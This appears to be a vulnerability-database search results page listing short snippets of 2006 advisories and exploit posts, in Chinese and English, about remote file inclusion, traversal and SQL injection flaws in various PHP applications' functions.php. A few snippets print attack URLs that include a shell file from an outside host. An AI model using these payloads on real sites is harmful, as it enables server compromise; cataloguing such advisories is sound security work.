302 matches found
PHPMyProfiler Functions.PHP远程文件包含漏洞
PHPMyProfiler是一款基于PHP的WEB应用程序。 PHPMyProfiler不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是由于'Functions.PHP'脚本对用户提交的'pmprelpath'参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 phpMyProfiler 0.9.6 目前没有详细解决方案提供，请关注以下链接： http://www.phpmyprofiler.de/...
CVE-2006-6068
The CVE-2006-6068 entry concerns a directory traversal in the mAlbum 0.3 and earlier release. The vulnerability occurs in the cached_album function in functions.php, where user input passed via the gal parameter to index.php can be traversed using dot-dot sequences to list filenames of arbitrary ...
wordpress-rfi.txt
WordPress Remote File Inclusion Download:http://wordpress.org/latest.zip Found by ANtrAX http://foro.c-group.org Vulnerable Code: global $posts, $post, $wpdidheader, $wpdidtemplateredirect, $wpquery, $wprewrite, $wpdb; extract$wpquery-queryvars; requireonce$file; ..... Affected File:...
Wordpress File Inclusion
WordPress Remote File Inclusion Download:http://wordpress.org/latest.zip Found by ANtrAX http://foro.c-group.org Vulnerable Code: global $posts, $post, $wpdidheader, $wpdidtemplateredirect, $wpquery, $wprewrite, $wpdb; extract$wpquery-queryvars; requireonce$file; ..... Affected File:...
WordPress Functions.PHP 远程包含文件漏洞
因为它并没有足够的过滤用户提供数据. 一个可以让攻击者利用此问题上妥协的应用和基本制度; 其他攻击也是可能.wordpress2.0.5版是漏洞的. WordPress WordPress 2.0.5 [email protected] http://www.example.com/wp-includes/functions.php?file=http://www.example2.com/shell.txt?...
CVE-2006-5520
PHP remote file inclusion vulnerability in functions.php in DeltaScripts PHP Classifieds 7.1 allows remote attackers to execute arbitrary PHP code via a URL in the setpath parameter...
CVE-2006-5520
PHP remote file inclusion vulnerability in functions.php in DeltaScripts PHP Classifieds 7.1 allows remote attackers to execute arbitrary PHP code via a URL in the setpath parameter...
phpECard functions.php远程文件包含漏洞
phpECard脚本允许用户在自己的站点安装电子贺卡系统。 phpECard在处理用户请求时存在输入验证漏洞，远程攻击才可能利用此漏洞在服务器上以Web进程权限执行任意指令。 phpECard没有正确验证functions.php和index.php文件中对includepath参数的输入，允许攻击者通过包含本地或外部资源的任意文件执行任意代码。 phpECard phpECard 2.1.4 phpECard phpECard 2.1.3 我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.quick-xs.net/phpecard/...
PHPClassifieds7.1.txt
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= PHP Classifieds 7.1 - Remote File Include Vulnerability =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Download : http://softadmin.deltascripts.com/downloadget.php?id=32...
PHP Classifieds 7.1 - Remote File Include Vulnerability
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= PHP Classifieds 7.1 - Remote File Include Vulnerability =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Download : http://softadmin.deltascripts.com/downloadget.php?id=32...
P-News <= 1.16 Remote File Include Vulnerability
Exploit for unknown platform in category web applications ================================================ P-News = 1.16 Remote File Include Vulnerability ================================================ ============================================ P-News 1.16, 1.17 Remote File Inclusion...
CVE-2006-5186
The CVE-2006-5186 entry describes a PHP remote file inclusion in phpMyProfiler
EasyBannerFree.txt
------------------------------- EasyBannerFree functions.php Remote File Include Exploit ------------------------------- find by : abu ahmed ------------------------------- Exploit : http://sitename.com/ path /functions.php?sphppath=shell ------------------------------- thanks for : xp10.com...
BBaCE <= 3.5 (includes/functions.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ======================================================================= BBaCE | | \ \ / / '..' Author: SpiderZ BBaCE Remote File Inclusion Vulnerability For: BBaCE v3 Bulletin Board Ace...
EasyBannerFree (functions.php) Remote File Include Exploit
------------------------------- EasyBannerFree functions.php Remote File Include Exploit ------------------------------- find by : abu ahmed ------------------------------- Exploit : http://sitename.com/ path /functions.php?sphppath=shell ------------------------------- thanks for : xp10.com...
BBaCE <= 3.5 (includes/functions.php) Remote File Include Vulnerability
No description provided by source. / \ \ \ ,, / / '-./.-' .--' '--. / / /""\ \ \ SpiderZ Hacking Security | | | | \ \ / / '..' Author: SpiderZ BBaCE Remote File Inclusion Vulnerability For: BBaCE v3 Bulletin Board Ace Site: www.spiderz.altervista.org Site02: www.spiderz.netsons.org...
CVE-2006-4957
SQL injection vulnerability in the GetMember function in functions.php in MyReview 1.9.4 allows remote attackers to execute arbitrary SQL commands via the email parameter to Admin.php...
CVE-2006-4957
SQL injection vulnerability in the GetMember function in functions.php in MyReview 1.9.4 allows remote attackers to execute arbitrary SQL commands via the email parameter to Admin.php...
CVE-2006-4957
CVE-2006-4957 corresponds to a SQL injection in MyReview 1.9.4. The GetMember function in functions.php fails to sanitize the email parameter used by Admin.php, enabling remote attackers to execute arbitrary SQL. Exploitation details are supported by multiple sources (NVD/Nessus references). The ...
MyReview 1.9.4 - email SQL Injection Code Execution
MyReview 1.9.4 - email SQL Injection Code Execution MyReview 1.9.4 SQL Injection exploit http://myreview.lri.fr/ in functions.php starting from line 382 ............ function GetMember $email, $db, $mode="array" $query = "SELECT FROM PCMember WHERE email = '$email'" ; result = $db-execRequete...